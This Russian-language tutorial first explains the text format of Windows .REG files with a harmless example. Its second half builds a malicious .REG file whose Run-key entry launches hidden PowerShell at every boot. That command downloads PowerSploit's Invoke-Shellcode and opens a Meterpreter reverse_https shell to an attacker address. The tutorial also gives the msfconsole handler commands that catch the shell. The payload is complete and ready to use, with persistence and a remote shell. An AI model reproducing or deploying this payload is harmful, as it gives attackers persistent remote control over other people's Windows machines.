Вредоносные .REG файлы или как заразить систему имея доступ только к реестру
@webware
В этой статье, мы познакомимся со структурой REG-файлов и заодно рассмотрим один из методов создания вредоносных .REG файлов для получения meterpreter сессии.
REG-файлы - служебные текстовые файлы для внесения изменений в реестр Windows. REG-файлы были добавлены в марте 1992 года. Они имеют расширение .reg, а файлы этого типа выглядят так:

Давайте познакомимся с их структурой поближе. Формат REG-файлов является текстовым, а его структура выглядит вот так:
Windows Registry Editor Version 5.00 ; Коментарии записываются так. [Адрес1] "Ключ1"="Значение1" "Ключ2"="Значение2" ... "Ключn"="Значениеn" ... [Адресm] "Ключl" = "Значениеl"
где n и l - конечное число ключей, а m - конечное число изменяемых адресов.
Если в значении параметра используются специальные символы, то перед ними должен стоят знак «\» без кавычек. Стоит подметить, что формат REG-файлов напоминает формат ini-файлов, которые использовались для хранения разных данных и настроек. Однако, эпоха ini-файлов прошла с появлением реестра, но в системе эти файлы всё ещё используются (boot.ini, desktop.ini, oleinfo.ini, ...). Довольно простой формат, не так ли?
Давайте создадим REG-файл для более углубленного понимания формата.
1. Создадим на диске файл с форматом .reg.

2. Откроем его текстовым редактором и запишем следующее:
Windows Registry Editor Version 5.00 ; Эта строка показывает, что мы используем REG файлы версии 5.0. [HKEY_LOCAL_MACHINE\Software\Test] ; Указываем адрес, ключи которого мы будем менять. "Hello"="World" ; Создаём ключ «Hello» со значением «World». "World"="Hello" ; Создаём ключ «World» со значением «Hello».
3. Сохраняем записанное в файл.
4. Запускаем файл. Видим User Access Control оповещение и следующее за ним предупреждение:

Это один из минусов этого метода.
5. После подтверждения, REG-файл успешно добавил необходимые значения в реестр:

Как мы видим, REG-файлы успешно справляются с полученной задачей.
Мы познакомились с их структурой и работой, поэтому теперь мы можем создать кое-что поинтереснее, а именно вредоносный REG-файл, который выдаст нам meterpreter сессию.
1. Создадим на диске файл с форматом .reg.

2. Откроем его текстовым редактором и запишем следующее:
Windows Registry Editor Version 5.00 ; Эта строка показывает, что мы используем REG файлы версии 5.0.
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run] ; Указываем адрес, ключи которого мы будем менять.
; Эта ветка реестра отвечает за запуск программы сразу после загрузки системы автоматически.
"payload"="powershell.exe -w hidden -nop -noni -exec bypass IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.0.106 -lport 8007 -force" ; Эта команда предоставит нам meterpreter сессию. Вместо 192.168.0.106 и 8007 укажите IP адрес и порт атакующего.
3. Сохраняем вредоносные данные в файл. Вредоносный REG-файл готов.
Подготовимся со стороны атакующего. Нужно всего-лишь запустить Meterpreter listener.

Последовательность команд для его запуска:
msfconsole -q use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_https set LHOST 192.168.0.106 set LPORT 8007
где вместо 192.168.0.106 и 8007 - IP адрес и порт атакующего.
Проверим работу REG-файла. Запустим вредоносный REG-файл. После запуска REG-файла, нужное значение добавилось в реестр.

После перезагрузки заражённого ПК нам прилетает Meterpreter сессия.

На этом всё. Спасибо за внимание!